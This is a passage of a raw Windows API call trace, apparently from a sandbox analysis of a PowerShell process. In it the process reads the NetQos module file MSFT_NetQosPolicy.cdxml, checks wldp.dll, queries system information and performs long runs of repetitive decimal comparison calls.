[0115.591] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\MSFT_NetQosPolicy.cdxml", nBufferLength=0x52, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\MSFT_NetQosPolicy.cdxml", lpFilePart=0x0) returned 0x51 [0115.591] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d328) returned 1 [0115.591] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\MSFT_NetQosPolicy.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netqos\\msft_netqospolicy.cdxml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xa20 [0115.591] GetFileType (hFile=0xa20) returned 0x1 [0115.591] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d324) returned 1 [0115.591] GetFileType (hFile=0xa20) returned 0x1 [0115.591] SetFilePointer (in: hFile=0xa20, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x0 [0115.591] ReadFile (in: hFile=0xa20, lpBuffer=0x52e6b08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x52e6b08*, lpNumberOfBytesRead=0x843d390*=0x1000, lpOverlapped=0x0) returned 1 [0115.591] SetFilePointer (in: hFile=0xa20, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x1000 [0115.591] ReadFile (in: hFile=0xa20, lpBuffer=0x52e6b08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x52e6b08*, lpNumberOfBytesRead=0x843d390*=0x1000, lpOverlapped=0x0) returned 1 [0115.591] SetFilePointer (in: hFile=0xa20, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x2000 [0115.591] ReadFile (in: hFile=0xa20, lpBuffer=0x52e6b08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x52e6b08*, lpNumberOfBytesRead=0x843d390*=0x1000, lpOverlapped=0x0) returned 1 [0115.592] SetFilePointer (in: hFile=0xa20, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x3000 [0115.592] ReadFile (in: hFile=0xa20, lpBuffer=0x52e6b08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x52e6b08*, lpNumberOfBytesRead=0x843d390*=0x1000, lpOverlapped=0x0) returned 1 [0115.592] SetFilePointer (in: hFile=0xa20, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x4000 [0115.592] ReadFile (in: hFile=0xa20, lpBuffer=0x52e6b08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x52e6b08*, lpNumberOfBytesRead=0x843d390*=0x1000, lpOverlapped=0x0) returned 1 [0115.592] SetFilePointer (in: hFile=0xa20, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x5000 [0115.592] ReadFile (in: hFile=0xa20, lpBuffer=0x52e6b08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x52e6b08*, lpNumberOfBytesRead=0x843d390*=0x1000, lpOverlapped=0x0) returned 1 [0115.592] SetFilePointer (in: hFile=0xa20, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x6000 [0115.592] ReadFile (in: hFile=0xa20, lpBuffer=0x52e6b08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x52e6b08*, lpNumberOfBytesRead=0x843d390*=0x1000, lpOverlapped=0x0) returned 1 [0115.592] SetFilePointer (in: hFile=0xa20, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x7000 [0115.593] ReadFile (in: hFile=0xa20, lpBuffer=0x52e6b08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x52e6b08*, lpNumberOfBytesRead=0x843d390*=0x1000, lpOverlapped=0x0) returned 1 [0115.593] SetFilePointer (in: hFile=0xa20, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x8000 [0115.593] ReadFile (in: hFile=0xa20, lpBuffer=0x52e6b08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x52e6b08*, lpNumberOfBytesRead=0x843d390*=0x1000, lpOverlapped=0x0) returned 1 [0115.593] SetFilePointer (in: hFile=0xa20, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x9000 [0115.593] ReadFile (in: hFile=0xa20, lpBuffer=0x52e6b08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x52e6b08*, lpNumberOfBytesRead=0x843d390*=0x1000, lpOverlapped=0x0) returned 1 [0115.593] SetFilePointer (in: hFile=0xa20, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0xa000 [0115.593] ReadFile (in: hFile=0xa20, lpBuffer=0x52e6b08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x52e6b08*, lpNumberOfBytesRead=0x843d390*=0x1000, lpOverlapped=0x0) returned 1 [0115.593] SetFilePointer (in: hFile=0xa20, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0xb000 [0115.593] ReadFile (in: hFile=0xa20, lpBuffer=0x52e6b08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x52e6b08*, lpNumberOfBytesRead=0x843d390*=0x1000, lpOverlapped=0x0) returned 1 [0115.594] SetFilePointer (in: hFile=0xa20, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0xc000 [0115.594] ReadFile (in: hFile=0xa20, lpBuffer=0x52e6b08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x52e6b08*, lpNumberOfBytesRead=0x843d390*=0x1000, lpOverlapped=0x0) returned 1 [0115.594] SetFilePointer (in: hFile=0xa20, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0xd000 [0115.594] ReadFile (in: hFile=0xa20, lpBuffer=0x52e6b08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x52e6b08*, lpNumberOfBytesRead=0x843d390*=0x1000, lpOverlapped=0x0) returned 1 [0115.594] SetFilePointer (in: hFile=0xa20, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0xe000 [0115.594] ReadFile (in: hFile=0xa20, lpBuffer=0x52e6b08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x52e6b08*, lpNumberOfBytesRead=0x843d390*=0xd31, lpOverlapped=0x0) returned 1 [0115.594] SetFilePointer (in: hFile=0xa20, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0xed31 [0115.594] ReadFile (in: hFile=0xa20, lpBuffer=0x52e5fd9, nNumberOfBytesToRead=0x2cf, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x52e5fd9*, lpNumberOfBytesRead=0x843d390*=0x0, lpOverlapped=0x0) returned 1 [0115.595] SetFilePointer (in: hFile=0xa20, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0xed31 [0115.595] ReadFile (in: hFile=0xa20, lpBuffer=0x52e6b08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x52e6b08*, lpNumberOfBytesRead=0x843d390*=0x0, lpOverlapped=0x0) returned 1 [0115.596] CoTaskMemAlloc (cb=0x20c) returned 0x73c10d0 [0115.596] GetSystemDirectoryW (in: lpBuffer=0x73c10d0, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0115.596] CoTaskMemFree (pv=0x73c10d0) [0115.596] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0115.596] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0115.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d2c4) returned 1 [0115.596] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843d340 | out: lpFileInformation=0x843d340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0115.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d2c0) returned 1 [0115.597] GetSystemInfo (in: lpSystemInfo=0x843d374 | out: lpSystemInfo=0x843d374*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0115.597] VarDecCmp (pdecLeft=0x843d008, pdecRight=0x843cff8) returned 0x0 [0115.597] VarDecCmp (pdecLeft=0x843cfe8, pdecRight=0x843cfd8) returned 0x1 [0115.598] VarDecCmp (pdecLeft=0x843d018, pdecRight=0x843d008) returned 0x0 [0115.598] VarDecCmp (pdecLeft=0x843cff8, pdecRight=0x843cfe8) returned 0x2 [0115.598] VarDecCmp (pdecLeft=0x843d018, pdecRight=0x843d008) returned 0x0 [0115.598] VarDecCmp (pdecLeft=0x843cff8, pdecRight=0x843cfe8) returned 0x2 [0115.600] VarDecCmp (pdecLeft=0x843d018, pdecRight=0x843d008) returned 0x0 [0115.600] VarDecCmp (pdecLeft=0x843cff8, pdecRight=0x843cfe8) returned 0x2 [0115.600] VarDecCmp (pdecLeft=0x843d018, pdecRight=0x843d008) returned 0x0 [0115.600] VarDecCmp (pdecLeft=0x843cff8, pdecRight=0x843cfe8) returned 0x2 [0115.600] VarDecCmp (pdecLeft=0x843d018, pdecRight=0x843d008) returned 0x0 [0115.600] VarDecCmp (pdecLeft=0x843cff8, pdecRight=0x843cfe8) returned 0x2 [0115.600] VarDecCmp (pdecLeft=0x843d018, pdecRight=0x843d008) returned 0x0 [0115.600] VarDecCmp (pdecLeft=0x843cff8, pdecRight=0x843cfe8) returned 0x2 [0115.600] VarDecCmp (pdecLeft=0x843d018, pdecRight=0x843d008) returned 0x0 [0115.600] VarDecCmp (pdecLeft=0x843cff8, pdecRight=0x843cfe8) returned 0x2 [0115.600] VarDecCmp (pdecLeft=0x843d018, pdecRight=0x843d008) returned 0x0 [0115.600] VarDecCmp (pdecLeft=0x843cff8, pdecRight=0x843cfe8) returned 0x2 [0115.601] VarDecCmp (pdecLeft=0x843d0a4, pdecRight=0x843d094) returned 0x0 [0115.601] VarDecCmp (pdecLeft=0x843d084, pdecRight=0x843d074) returned 0x1 [0115.601] VarR8FromDec (in: pdecIn=0x531b244, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0115.601] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.601] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.601] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.601] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.601] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.601] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.601] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.601] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.601] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.601] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.601] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.601] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.601] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.601] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.601] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.601] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.602] VarDecCmp (pdecLeft=0x843d0a4, pdecRight=0x843d094) returned 0x0 [0115.602] VarDecCmp (pdecLeft=0x843d084, pdecRight=0x843d074) returned 0x1 [0115.602] VarR8FromDec (in: pdecIn=0x531f71c, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0115.602] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.602] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.602] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.602] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.602] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.602] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.602] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.602] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.602] VarDecCmp (pdecLeft=0x843d0a4, pdecRight=0x843d094) returned 0x0 [0115.602] VarDecCmp (pdecLeft=0x843d084, pdecRight=0x843d074) returned 0x1 [0115.602] VarR8FromDec (in: pdecIn=0x5322244, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0115.602] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.602] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.602] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.603] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.603] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.603] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.603] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.603] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.603] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.603] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.603] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.603] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.603] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.603] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.603] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.603] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.603] VarDecCmp (pdecLeft=0x843d0a4, pdecRight=0x843d094) returned 0x0 [0115.603] VarDecCmp (pdecLeft=0x843d084, pdecRight=0x843d074) returned 0x1 [0115.603] VarR8FromDec (in: pdecIn=0x53267b4, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0115.603] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.603] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.604] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.604] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.604] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.604] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.604] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.604] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.604] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.604] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.604] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.604] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.604] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.604] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.604] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.604] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.604] VarDecCmp (pdecLeft=0x843d0a4, pdecRight=0x843d094) returned 0x0 [0115.604] VarDecCmp (pdecLeft=0x843d084, pdecRight=0x843d074) returned 0x1 [0115.604] VarR8FromDec (in: pdecIn=0x532aca0, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0115.604] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.604] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.605] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.605] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.605] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.605] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.605] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.605] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.605] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.605] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.605] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.605] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.605] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.605] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.605] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.605] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.605] VarDecCmp (pdecLeft=0x843d0a4, pdecRight=0x843d094) returned 0x0 [0115.605] VarDecCmp (pdecLeft=0x843d084, pdecRight=0x843d074) returned 0x1 [0115.605] VarR8FromDec (in: pdecIn=0x532f164, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0115.605] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.605] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.605] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.605] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.605] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.605] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.605] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.606] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.606] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.606] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.606] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.606] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.606] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.606] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.606] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.606] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.606] VarDecCmp (pdecLeft=0x843d0a4, pdecRight=0x843d094) returned 0x0 [0115.606] VarDecCmp (pdecLeft=0x843d084, pdecRight=0x843d074) returned 0x1 [0115.606] VarR8FromDec (in: pdecIn=0x5333708, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0115.606] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.606] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.606] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.606] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.606] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.606] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.606] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.606] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.606] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.606] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.607] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.607] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.607] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.607] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.607] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.607] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.607] VarDecCmp (pdecLeft=0x843d0a4, pdecRight=0x843d094) returned 0x0 [0115.607] VarDecCmp (pdecLeft=0x843d084, pdecRight=0x843d074) returned 0x1 [0115.607] VarR8FromDec (in: pdecIn=0x5337c0c, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0115.607] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.607] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.607] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.607] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.607] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.607] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.607] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.607] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.607] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.607] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.607] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.608] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.608] VarDecCmp (pdecLeft=0x843d0a4, pdecRight=0x843d094) returned 0x0 [0115.608] VarDecCmp (pdecLeft=0x843d084, pdecRight=0x843d074) returned 0x1 [0115.608] VarR8FromDec (in: pdecIn=0x533c5c4, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0115.608] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.608] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.608] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.608] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.608] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.608] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.608] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.608] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.608] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.608] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.608] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.608] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.608] VarDecCmp (pdecLeft=0x843d0a4, pdecRight=0x843d094) returned 0x0 [0115.608] VarDecCmp (pdecLeft=0x843d084, pdecRight=0x843d074) returned 0x1 [0115.608] VarR8FromDec (in: pdecIn=0x533f600, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0115.608] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.608] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.608] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.608] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.609] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.609] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.609] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.609] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.609] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.609] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.609] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.609] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.609] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.609] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0115.609] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0115.609] VarDecCmp (pdecLeft=0x843d024, 